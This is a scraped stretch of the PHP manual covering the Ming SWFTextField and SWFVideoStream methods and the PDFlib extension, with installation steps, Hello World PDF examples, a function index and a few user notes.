  • SWFTextField::__construct — Creates a text field object
  • SWFTextField::setBounds — Sets the text field width and height
  • SWFTextField::setColor — Sets the color of the text field
  • SWFTextField::setFont — Sets the text field font
  • SWFTextField::setHeight — Sets the font height of this text field font
  • SWFTextField::setIndentation — Sets the indentation of the first line
  • SWFTextField::setLeftMargin — Sets the left margin width of the text field
  • SWFTextField::setLineSpacing — Sets the line spacing of the text field
  • SWFTextField::setMargins — Sets the margins width of the text field
  • SWFTextField::setName — Sets the variable name
  • SWFTextField::setPadding — Sets the padding of this textfield
  • SWFTextField::setRightMargin — Sets the right margin width of the text field

User Contributed Notes

There are no user contributed notes for this page.
SWFText::setSpacing
SWFTextField::addChars
Ming


adds characters to a font that will be available within a textfield

SWFTextField
SWFTextField::addString
SWFTextField
PHP Manual

SWFTextField::addChars

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::addChars — adds characters to a font that will be available within a textfield

Description

void SWFTextField::addChars ( string $chars )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFTextField::addString() - Concatenates the given string to the text field

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField
SWFTextField::addString
SWFTextField


Concatenates the given string to the text field

SWFTextField::addChars
SWFTextField::align
SWFTextField
PHP Manual

SWFTextField::addString

(PHP 4 >= 4.0.5)

SWFTextField::addString — Concatenates the given string to the text field

Description

void SWFTextField::addString ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setname() concatenates the string string to the text field.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::addChars
SWFTextField::align
SWFTextField


Sets the text field alignment

SWFTextField::addString
SWFTextField::__construct
SWFTextField
PHP Manual

SWFTextField::align

(PHP 4 >= 4.0.5)

SWFTextField::align — Sets the text field alignment

Description

void SWFTextField::align ( int $alignement )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::align() sets the text field alignment to alignement. Valid values for alignement are : SWFTEXTFIELD_ALIGN_LEFT, SWFTEXTFIELD_ALIGN_RIGHT, SWFTEXTFIELD_ALIGN_CENTER and SWFTEXTFIELD_ALIGN_JUSTIFY.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::addString
SWFTextField::__construct
SWFTextField


Creates a text field object

SWFTextField::align
SWFTextField::setBounds
SWFTextField
PHP Manual

SWFTextField::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::__construct — Creates a text field object

Description

SWFTextField::__construct ([ int $flags ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield() creates a new text field object. Text Fields are less flexible than swftext() objects- they can't be rotated, scaled non-proportionally, or skewed, but they can be used as form entries, and they can use browser-defined fonts.

The optional flags change the text field's behavior. It has the following possibles values :

  • SWFTEXTFIELD_DRAWBOX draws the outline of the textfield
  • SWFTEXTFIELD_HASLENGTH
  • SWFTEXTFIELD_HTML allows text markup using HTML-tags
  • SWFTEXTFIELD_MULTILINE allows multiple lines
  • SWFTEXTFIELD_NOEDIT indicates that the field shouldn't be user-editable
  • SWFTEXTFIELD_NOSELECT makes the field non-selectable
  • SWFTEXTFIELD_PASSWORD obscures the data entry
  • SWFTEXTFIELD_WORDWRAP allows text to wrap
Flags are combined with the bitwise OR operation. For example,
<?php
$t = newSWFTextField(SWFTEXTFIELD_PASSWORD | SWFTEXTFIELD_NOEDIT);
?>
creates a totally useless non-editable password field.

SWFTextField has the following methods : swftextfield::setfont(),
swftextfield::setbounds(), swftextfield::align(),
swftextfield::setheight(), swftextfield::setleftmargin(),
swftextfield::setrightmargin(), swftextfield::setmargins(),
swftextfield::setindentation(), swftextfield::setlinespacing(),
swftextfield::setcolor(), swftextfield::setname() and
swftextfield::addstring().

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::align
SWFTextField::setBounds
SWFTextField


Sets the text field width and height

SWFTextField::__construct
SWFTextField::setColor
SWFTextField
PHP Manual

SWFTextField::setBounds

(PHP 4 >= 4.0.5)

SWFTextField::setBounds — Sets the text field width and height

Description

void SWFTextField::setBounds ( float $width , float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setbounds() sets the text field width to width and height to height. If you don't set the bounds yourself, Ming makes a poor guess at what the bounds are.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::__construct
SWFTextField::setColor
SWFTextField


Sets the color of the text field

SWFTextField::setBounds
SWFTextField::setFont
SWFTextField
PHP Manual

SWFTextField::setColor

(PHP 4 >= 4.0.5)

SWFTextField::setColor — Sets the color of the text field

Description

void SWFTextField::setColor ( int $red , int $green , int $blue [, int $a = 255 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setcolor() sets the color of the text field. Default is fully opaque black. Color is represented using RGB system.

Parameters

These parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF:

red

Value of red component

green

Value of green component

blue

Value of blue component

a

Value of alpha component

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setBounds
SWFTextField::setFont
SWFTextField


Sets the text field font

SWFTextField::setColor
SWFTextField::setHeight
SWFTextField
PHP Manual

SWFTextField::setFont

(PHP 4 >= 4.2.0)

SWFTextField::setFont — Sets the text field font

Description

void SWFTextField::setFont ( SWFFont $font )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setfont() sets the text field font to the [browser-defined?] font font.

Return Values

No value is returned.

User Contributed Notes

jerryscript at aol dot com 04-Jan-2004 06:57
Ming 0.3 (current cvs) allows you to embed fonts using addChars().

$t-new SWFTextField();
$t->setFont(new SWFFont("font_file.fdb"));
$lowercase="abcdefghijklmnopqrstuvwxyz";
$uppercase="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$numbers="1234567890";
$charsToAdd="$lowercase$uppercase$numbers";
$t->addChars($charsToAdd);

I'm not sure if you can use regExp to addChars?
[note-I broke the char list up due to this board's wordwrap]
Anze 04-Nov-2003 02:53
From what I could gather, version 0.2a of Ming only allows to set browser font (that is, font is used only if user has it on his/her computer, otherwise some default is used). Embedding fonts does not work in this version, but judging from ChangeLog in CVS any CVS version from 2002-11-19 should be able to embed fdb font of your liking. Haven't tried it though.
SWFTextField::setColor
SWFTextField::setHeight
SWFTextField


Sets the font height of this text field font

SWFTextField::setFont
SWFTextField::setIndentation
SWFTextField
PHP Manual

SWFTextField::setHeight

(PHP 4 >= 4.0.5)

SWFTextField::setHeight — Sets the font height of this text field font

Description

void SWFTextField::setHeight ( float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setheight() sets the font height of this text field font to the given height height. Default is 240.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setFont
SWFTextField::setIndentation
SWFTextField


Sets the indentation of the first line

SWFTextField::setHeight
SWFTextField::setLeftMargin
SWFTextField
PHP Manual

SWFTextField::setIndentation

(PHP 4 >= 4.0.5)

SWFTextField::setIndentation — Sets the indentation of the first line

Description

void SWFTextField::setIndentation ( float $width )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setindentation() sets the indentation of the first line in the text field, to width.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setHeight
SWFTextField::setLeftMargin
SWFTextField


Sets the left margin width of the text field

SWFTextField::setIndentation
SWFTextField::setLineSpacing
SWFTextField
PHP Manual

SWFTextField::setLeftMargin

(PHP 4 >= 4.0.5)

SWFTextField::setLeftMargin — Sets the left margin width of the text field

Description

void SWFTextField::setLeftMargin ( float $width )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setleftmargin() sets the left margin width of the text field to width. Default is 0.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setIndentation
SWFTextField::setLineSpacing
SWFTextField


Sets the line spacing of the text field

SWFTextField::setLeftMargin
SWFTextField::setMargins
SWFTextField
PHP Manual

SWFTextField::setLineSpacing

(PHP 4 >= 4.0.5)

SWFTextField::setLineSpacing — Sets the line spacing of the text field

Description

void SWFTextField::setLineSpacing ( float $height )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setlinespacing() sets the line spacing of the text field to the height of height. Default is 40.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setLeftMargin
SWFTextField::setMargins
SWFTextField


Sets the margins width of the text field

SWFTextField::setLineSpacing
SWFTextField::setName
SWFTextField
PHP Manual

SWFTextField::setMargins

(PHP 4 >= 4.0.5)

SWFTextField::setMargins — Sets the margins width of the text field

Description

void SWFTextField::setMargins ( float $left , float $right )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setmargins() set both margins at once, for the man on the go.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setLineSpacing
SWFTextField::setName
SWFTextField


Sets the variable name

SWFTextField::setMargins
SWFTextField::setPadding
SWFTextField
PHP Manual

SWFTextField::setName

(PHP 4 >= 4.0.5)

SWFTextField::setName — Sets the variable name

Description

void SWFTextField::setName ( string $name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setname() sets the variable name of this text field to name, for form posting and action scripting purposes.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setMargins
SWFTextField::setPadding
SWFTextField


Sets the padding of this textfield

SWFTextField::setName
SWFTextField::setRightMargin
SWFTextField
PHP Manual

SWFTextField::setPadding

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFTextField::setPadding — Sets the padding of this textfield

Description

void SWFTextField::setPadding ( float $padding )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setName
SWFTextField::setRightMargin
SWFTextField


Sets the right margin width of the text field

SWFTextField::setPadding
SWFVideoStream
SWFTextField
PHP Manual

SWFTextField::setRightMargin

(PHP 4 >= 4.0.5)

SWFTextField::setRightMargin — Sets the right margin width of the text field

Description

void SWFTextField::setRightMargin ( float $width )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swftextfield::setrightmargin() sets the right margin width of the text field to width. Default is 0.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setPadding
SWFVideoStream
SWFTextField


The SWFVideoStream class

(No version information available, might only be in SVN)

Introduction

SWFVideoStream.

Class synopsis

SWFVideoStream {
/* Methods */
__construct ([ string $file ] )
int getNumFrames ( void )
void setDimension ( int $x , int $y )
}

Table of Contents

  • SWFVideoStream::__construct — Returns a SWFVideoStream object
  • SWFVideoStream::getNumFrames — Returns the number of frames in the video
  • SWFVideoStream::setDimension — Sets video dimension

User Contributed Notes

There are no user contributed notes for this page.
SWFTextField::setRightMargin
SWFVideoStream::__construct
Ming


Returns a SWFVideoStream object

SWFVideoStream
SWFVideoStream::getNumFrames
SWFVideoStream
PHP Manual

SWFVideoStream::__construct

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFVideoStream::__construct — Returns a SWFVideoStream object

Description

SWFVideoStream::__construct ([ string $file ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFVideoStream
SWFVideoStream::getNumFrames
SWFVideoStream


Returns the number of frames in the video

SWFVideoStream::__construct
SWFVideoStream::setDimension
SWFVideoStream
PHP Manual

SWFVideoStream::getNumFrames

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFVideoStream::getNumFrames — Returns the number of frames in the video

Description

int SWFVideoStream::getNumFrames ( void )

This function returns the number of video-frames of a SWFVideoStream.

Return Values

Returns the number of frames, as an integer

User Contributed Notes

There are no user contributed notes for this page.
SWFVideoStream::__construct
SWFVideoStream::setDimension
SWFVideoStream


Sets video dimension

SWFVideoStream::getNumFrames
PDF
SWFVideoStream
PHP Manual

SWFVideoStream::setDimension

(PHP 5.0.5-5.3.0, PECL ming SVN)

SWFVideoStream::setDimension — Sets video dimension

Description

void SWFVideoStream::setDimension ( int $x , int $y )

Sets the width and height for streamed videos.

Parameters

x

Width in pixels.

y

Height in pixels.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFVideoStream::getNumFrames
PDF
SWFVideoStream


PDF

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic Usage Examples
  • PDF Functions
    • PDF_activate_item — Activate structure element or other content item
    • PDF_add_annotation — Add annotation [deprecated]
    • PDF_add_bookmark — Add bookmark for current page [deprecated]
    • PDF_add_launchlink — Add launch annotation for current page [deprecated]
    • PDF_add_locallink — Add link annotation for current page [deprecated]
    • PDF_add_nameddest — Create named destination
    • PDF_add_note — Set annotation for current page [deprecated]
    • PDF_add_outline — Add bookmark for current page [deprecated]
    • PDF_add_pdflink — Add file link annotation for current page [deprecated]
    • PDF_add_table_cell — Add a cell to a new or existing table
    • PDF_add_textflow — Create Textflow or add text to existing Textflow
    • PDF_add_thumbnail — Add thumbnail for current page
    • PDF_add_weblink — Add weblink for current page [deprecated]
    • PDF_arc — Draw a counterclockwise circular arc segment
    • PDF_arcn — Draw a clockwise circular arc segment
    • PDF_attach_file — Add file attachment for current page [deprecated]
    • PDF_begin_document — Create new PDF file
    • PDF_begin_font — Start a Type 3 font definition
    • PDF_begin_glyph — Start glyph definition for Type 3 font
    • PDF_begin_item — Open structure element or other content item
    • PDF_begin_layer — Start layer
    • PDF_begin_page_ext — Start new page
    • PDF_begin_page — Start new page [deprecated]
    • PDF_begin_pattern — Start pattern definition
    • PDF_begin_template_ext — Start template definition
    • PDF_begin_template — Start template definition [deprecated]
    • PDF_circle — Draw a circle
    • PDF_clip — Clip to current path
    • PDF_close_image — Close image
    • PDF_close_pdi_page — Close the page handle
    • PDF_close_pdi — Close the input PDF document [deprecated]
    • PDF_close — Close pdf resource [deprecated]
    • PDF_closepath_fill_stroke — Close, fill and stroke current path
    • PDF_closepath_stroke — Close and stroke path
    • PDF_closepath — Close current path
    • PDF_concat — Concatenate a matrix to the CTM
    • PDF_continue_text — Output text in next line
    • PDF_create_3dview — Create 3D view
    • PDF_create_action — Create action for objects or events
    • PDF_create_annotation — Create rectangular annotation
    • PDF_create_bookmark — Create bookmark
    • PDF_create_field — Create form field
    • PDF_create_fieldgroup — Create form field group
    • PDF_create_gstate — Create graphics state object
    • PDF_create_pvf — Create PDFlib virtual file
    • PDF_create_textflow — Create textflow object
    • PDF_curveto — Draw Bezier curve
    • PDF_define_layer — Create layer definition
    • PDF_delete_pvf — Delete PDFlib virtual file
    • PDF_delete_table — Delete table object
    • PDF_delete_textflow — Delete textflow object
    • PDF_delete — Delete PDFlib object
    • PDF_encoding_set_char — Add glyph name and/or Unicode value
    • PDF_end_document — Close PDF file
    • PDF_end_font — Terminate Type 3 font definition
    • PDF_end_glyph — Terminate glyph definition for Type 3 font
    • PDF_end_item — Close structure element or other content item
    • PDF_end_layer — Deactivate all active layers
    • PDF_end_page_ext — Finish page
    • PDF_end_page — Finish page
    • PDF_end_pattern — Finish pattern
    • PDF_end_template — Finish template
    • PDF_endpath — End current path
    • PDF_fill_imageblock — Fill image block with variable data
    • PDF_fill_pdfblock — Fill PDF block with variable data
    • PDF_fill_stroke — Fill and stroke path
    • PDF_fill_textblock — Fill text block with variable data
    • PDF_fill — Fill current path
    • PDF_findfont — Prepare font for later use [deprecated]
    • PDF_fit_image — Place image or template
    • PDF_fit_pdi_page — Place imported PDF page
    • PDF_fit_table — Place table on page
    • PDF_fit_textflow — Format textflow in rectangular area
    • PDF_fit_textline — Place single line of text
    • PDF_get_apiname — Get name of unsuccessfull API function
    • PDF_get_buffer — Get PDF output buffer
    • PDF_get_errmsg — Get error text
    • PDF_get_errnum — Get error number
    • PDF_get_font — Get font [deprecated]
    • PDF_get_fontname — Get font name [deprecated]
    • PDF_get_fontsize — Font handling [deprecated]
    • PDF_get_image_height — Get image height [deprecated]
    • PDF_get_image_width — Get image width [deprecated]
    • PDF_get_majorversion — Get major version number [deprecated]
    • PDF_get_minorversion — Get minor version number [deprecated]
    • PDF_get_parameter — Get string parameter
    • PDF_get_pdi_parameter — Get PDI string parameter [deprecated]
    • PDF_get_pdi_value — Get PDI numerical parameter [deprecated]
    • PDF_get_value — Get numerical parameter
    • PDF_info_font — Query detailed information about a loaded font
    • PDF_info_matchbox — Query matchbox information
    • PDF_info_table — Retrieve table information
    • PDF_info_textflow — Query textflow state
    • PDF_info_textline — Perform textline formatting and query metrics
    • PDF_initgraphics — Reset graphic state
    • PDF_lineto — Draw a line
    • PDF_load_3ddata — Load 3D model
    • PDF_load_font — Search and prepare font
    • PDF_load_iccprofile — Search and prepare ICC profile
    • PDF_load_image — Open image file
    • PDF_makespotcolor — Make spot color
    • PDF_moveto — Set current point
    • PDF_new — Create PDFlib object
    • PDF_open_ccitt — Open raw CCITT image [deprecated]
    • PDF_open_file — Create PDF file [deprecated]
    • PDF_open_gif — Open GIF image [deprecated]
    • PDF_open_image_file — Read image from file [deprecated]
    • PDF_open_image — Use image data [deprecated]
    • PDF_open_jpeg — Open JPEG image [deprecated]
    • PDF_open_memory_image — Open image created with PHP's image functions [not supported]
    • PDF_open_pdi_document — Prepare a pdi document
    • PDF_open_pdi_page — Prepare a page
    • PDF_open_pdi — Open PDF file [deprecated]
    • PDF_open_tiff — Open TIFF image [deprecated]
    • PDF_pcos_get_number — Get value of pCOS path with type number or boolean
    • PDF_pcos_get_stream — Get contents of pCOS path with type stream, fstream, or string
    • PDF_pcos_get_string — Get value of pCOS path with type name, string, or boolean
    • PDF_place_image — Place image on the page [deprecated]
    • PDF_place_pdi_page — Place PDF page [deprecated]
    • PDF_process_pdi — Process imported PDF document
    • PDF_rect — Draw rectangle
    • PDF_restore — Restore graphics state
    • PDF_resume_page — Resume page
    • PDF_rotate — Rotate coordinate system
    • PDF_save — Save graphics state
    • PDF_scale — Scale coordinate system
    • PDF_set_border_color — Set border color of annotations [deprecated]
    • PDF_set_border_dash — Set border dash style of annotations [deprecated]
    • PDF_set_border_style — Set border style of annotations [deprecated]
    • PDF_set_char_spacing — Set character spacing [deprecated]
    • PDF_set_duration — Set duration between pages [deprecated]
    • PDF_set_gstate — Activate graphics state object
    • PDF_set_horiz_scaling — Set horizontal text scaling [deprecated]
    • PDF_set_info_author — Fill the author document info field [deprecated]
    • PDF_set_info_creator — Fill the creator document info field [deprecated]
    • PDF_set_info_keywords — Fill the keywords document info field [deprecated]
    • PDF_set_info_subject — Fill the subject document info field [deprecated]
    • PDF_set_info_title — Fill the title document info field [deprecated]
    • PDF_set_info — Fill document info field
    • PDF_set_layer_dependency — Define relationships among layers
    • PDF_set_leading — Set distance between text lines [deprecated]
    • PDF_set_parameter — Set string parameter
    • PDF_set_text_matrix — Set text matrix [deprecated]
    • PDF_set_text_pos — Set text position
    • PDF_set_text_rendering — Determine text rendering [deprecated]
    • PDF_set_text_rise — Set text rise [deprecated]
    • PDF_set_value — Set numerical parameter
    • PDF_set_word_spacing — Set spacing between words [deprecated]
    • PDF_setcolor — Set fill and stroke color
    • PDF_setdash — Set simple dash pattern
    • PDF_setdashpattern — Set dash pattern
    • PDF_setflat — Set flatness
    • PDF_setfont — Set font
    • PDF_setgray_fill — Set fill color to gray [deprecated]
    • PDF_setgray_stroke — Set stroke color to gray [deprecated]
    • PDF_setgray — Set color to gray [deprecated]
    • PDF_setlinecap — Set linecap parameter
    • PDF_setlinejoin — Set linejoin parameter
    • PDF_setlinewidth — Set line width
    • PDF_setmatrix — Set current transformation matrix
    • PDF_setmiterlimit — Set miter limit
    • PDF_setpolydash — Set complicated dash pattern [deprecated]
    • PDF_setrgbcolor_fill — Set fill rgb color values [deprecated]
    • PDF_setrgbcolor_stroke — Set stroke rgb color values [deprecated]
    • PDF_setrgbcolor — Set fill and stroke rgb color values [deprecated]
    • PDF_shading_pattern — Define shading pattern
    • PDF_shading — Define blend
    • PDF_shfill — Fill area with shading
    • PDF_show_boxed — Output text in a box [deprecated]
    • PDF_show_xy — Output text at given position
    • PDF_show — Output text at current position
    • PDF_skew — Skew the coordinate system
    • PDF_stringwidth — Return width of text
    • PDF_stroke — Stroke path
    • PDF_suspend_page — Suspend page
    • PDF_translate — Set origin of coordinate system
    • PDF_utf16_to_utf8 — Convert string from UTF-16 to UTF-8
    • PDF_utf32_to_utf16 — Convert string from UTF-32 to UTF-16
    • PDF_utf8_to_utf16 — Convert string from UTF-8 to UTF-16

User Contributed Notes

Me at Izzmo dot com 22-Jul-2009 08:42
If you only have PDFLib Lite installed, I would not recommend bothering with this library, as you can really only output text and import an image, and that's about it.  Forget about adding complexities such as color, blocks and other elements.  Switch to an open source library such as FreePDF (http://www.fpdf.org).
deadhorus at gmail dot com 04-May-2009 04:15
If you need to use 'pdf templates' use Apache FOP (XSL-FO parser). You can call it from php by using the exec function or by using a php-java bridge. I am successfully using the exec function...
php at morelightmorelight dot com 08-May-2008 03:13
ezpdf http://www.ros.co.nz/pdf/ is also an easy alternative to this.  It suffices for most pdf tasks and is quick to pick up.

I also created a modified version of ezpdf that supports rotated text: http://www.morelightmorelight.com/projects/walletpdf/
SWFVideoStream::setDimension
Introduction
Non-Text MIME Output


Introduction

The PDF functions in PHP can create PDF files using the PDFlib library which was initially created by Thomas Merz and is now maintained by » PDFlib GmbH.

The documentation in this section is only meant to be an overview of the available functions in the PDFlib library and should not be considered an exhaustive reference. For the full and detailed explanation of each function, consult the PDFlib Reference Manual which is included in all PDFlib packages distributed by PDFlib GmbH. It provides a very good overview of what PDFlib is capable of doing and contains the most up-to-date documentation of all functions.

For a jump start we urge you to take a look at the programming samples which are contained in all PDFlib distribution packages. These samples demonstrate basic text, vector, and graphics output as well as higher-level functions, such as the PDF import facility (PDI).

All of the functions in PDFlib and the PHP module have identical function names and parameters. Unless configured otherwise, all lengths and coordinates are measured in PostScript points. There are generally 72 PostScript points to an inch, but this depends on the output resolution. Please see the PDFlib Reference Manual included in the PDFlib distribution for a more thorough explanation of the coordinate system used.

With version 6, PDFlib offers an object-oriented API for PHP 5 in addition to the function-oriented API for PHP 4. The main difference is the following:

In PHP 4, first a PDF resource has to be retrieved with a function call like

$p = PDF_new().

This PDF resource is used as the first parameter in all further function calls, such as in

PDF_begin_document($p, "", "").

In PHP 5 however, a PDFlib object is created with

$p = new PDFlib().

This object offers all PDFlib API functions as methods, e.g. as with

$p->begin_document("", "").

In addition, exceptions have been introduced in PHP 5 which are supported by PDFlib 6 and later as well.

Please see the examples below for more information.

Note:

If you're interested in alternative free PDF generators that do not utilize external PDF libraries, see this related FAQ.

User Contributed Notes

There are no user contributed notes for this page.
PDF
Installing/Configuring
PDF


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
PDF


Requirements

PDFlib Lite is available as open source. However, the PDFlib Lite license allows free use only under certain conditions. PDFlib Lite supports a subset of PDFlib's functionality; please see the PDFlib web site for details. The full version of PDFlib is available for download at » http://www.pdflib.com/products/pdflib-family/, but requires that you purchase a license for commercial use.

Issues with older versions of PDFlib

Any version of PHP 4 after March 9, 2000 does not support versions of PDFlib older than 3.0.

PDFlib 4.0 or greater is supported by PHP 4.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/pdflib.

To get these functions to work in PHP < 4.3.9, you have to compile PHP with --with-pdflib[=DIR] . DIR is the PDFlib base install directory, defaults to /usr/local.

User Contributed Notes

Jean-Charles Papin 17-Jun-2011 08:07
Precisions for step 2:

- aptitude install php-pear
- peardev install pecl/pdflib
Igor Moiseev 02-Dec-2009 03:21
Brief installation notes. In the spite of the commercialization of libpdf library this is the way to use it in the lite mode.
System: Ubuntu 8.04 + php5.2

Step 1: PDFlib http://www.pdflib.com/
   download PDFlib-Lite: http://www.pdflib.com/download/pdflib-family/pdflib-lite-7/
   extract: tar -xzvf PDFlib-Lite-X.X.XpX.tar.gz
   compile: cd PDFlib-Lite-X.X.XpX && ./configure && make && make install

Step 2: Pecl for PDFlib http://pecl.php.net/package/pdflib
   install:
      install dependences: phpize (php5-dev package)
      pecl install pdflib
         path to pdflib installation? :/usr/local

Step 3: php.ini
   extension=pdf.so

Step 4:
   /etc/init.d/apache2 reload

That's it.

[Edited by RQuadling 2010/07/13 - Updated PDFlibe-Lite URL]
[Edit by danbrown AT php DOT net: Contains a typofix by "Anonymous" on 11-AUG-2010.]
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

PDF_new() creates a new PDFlib object required by most PDF functions.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
PDF


Examples

Table of Contents

  • Basic Usage Examples

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic Usage Examples
PDF


Basic Usage Examples

Most of the functions are fairly easy to use. The most difficult part is probably creating your first PDF document. The following example should help to get you started. It is developed for PHP 4 and creates the file hello.pdf with one page. It defines some document info field contents, loads the Helvetica-Bold font and outputs the text "Hello world! (says PHP)".

Example #1 Hello World example from PDFlib distribution for PHP 4

<?php
$p = PDF_new();

/*  open new PDF file; insert a file name to create the PDF on disk */
if (PDF_begin_document($p, "", "") == 0) {
    die("Error: " . PDF_get_errmsg($p));
}

PDF_set_info($p, "Creator", "hello.php");
PDF_set_info($p, "Author", "Rainer Schaaf");
PDF_set_info($p, "Title", "Hello world (PHP)!");

PDF_begin_page_ext($p, 595, 842, "");

$font = PDF_load_font($p, "Helvetica-Bold", "winansi", "");

PDF_setfont($p, $font, 24.0);
PDF_set_text_pos($p, 50, 700);
PDF_show($p, "Hello world!");
PDF_continue_text($p, "(says PHP)");
PDF_end_page_ext($p, "");

PDF_end_document($p, "");

$buf = PDF_get_buffer($p);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=hello.pdf");
print $buf;

PDF_delete($p);
?>

The following example comes with the PDFlib distribution for PHP 5. It uses the new exception handling and object encapsulation features available in PHP 5. It creates the file hello.pdf with one page. It defines some document info field contents, loads the Helvetica-Bold font and outputs the text "Hello world! (says PHP)".

Example #2 Hello World example from PDFlib distribution for PHP 5

<?php

try {
    $p = new PDFlib();

    /*  open new PDF file; insert a file name to create the PDF on disk */
    if ($p->begin_document("", "") == 0) {
        die("Error: " . $p->get_errmsg());
    }

    $p->set_info("Creator", "hello.php");
    $p->set_info("Author", "Rainer Schaaf");
    $p->set_info("Title", "Hello world (PHP)!");

    $p->begin_page_ext(595, 842, "");

    $font = $p->load_font("Helvetica-Bold", "winansi", "");

    $p->setfont($font, 24.0);
    $p->set_text_pos(50, 700);
    $p->show("Hello world!");
    $p->continue_text("(says PHP)");
    $p->end_page_ext("");

    $p->end_document("");

    $buf = $p->get_buffer();
    $len = strlen($buf);

    header("Content-type: application/pdf");
    header("Content-Length: $len");
    header("Content-Disposition: inline; filename=hello.pdf");
    print $buf;
}
catch (PDFlibException $e) {
    die("PDFlib exception occurred in hello sample:\n" .
    "[" . $e->get_errnum() . "] " . $e->get_apiname() . ": " .
    $e->get_errmsg() . "\n");
}
catch (Exception $e) {
    die($e);
}
$p = 0;
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
PDF Functions
Examples


PDF Functions

Remarks about Deprecated PDFlib Functions

Starting with PHP 4.0.5, the PHP extension for PDFlib is officially supported by PDFlib GmbH. This means that all the functions described in the PDFlib Reference Manual are supported by PHP 4 with exactly the same meaning and the same parameters. However, with PDFlib Version 5.0.4 or higher all parameters have to be specified. For compatibility reasons, this binding for PDFlib still supports most of the deprecated functions, but they should be replaced by their new versions. PDFlib GmbH will not support any problems arising from the use of these deprecated functions. The documentation in this section indicates old functions as "Deprecated" and gives the replacement function to be used instead.

Table of Contents

  • PDF_activate_item — Activate structure element or other content item
  • PDF_add_annotation — Add annotation [deprecated]
  • PDF_add_bookmark — Add bookmark for current page [deprecated]
  • PDF_add_launchlink — Add launch annotation for current page [deprecated]
  • PDF_add_locallink — Add link annotation for current page [deprecated]
  • PDF_add_nameddest — Create named destination
  • PDF_add_note — Set annotation for current page [deprecated]
  • PDF_add_outline — Add bookmark for current page [deprecated]
  • PDF_add_pdflink — Add file link annotation for current page [deprecated]
  • PDF_add_table_cell — Add a cell to a new or existing table
  • PDF_add_textflow — Create Textflow or add text to existing Textflow
  • PDF_add_thumbnail — Add thumbnail for current page
  • PDF_add_weblink — Add weblink for current page [deprecated]
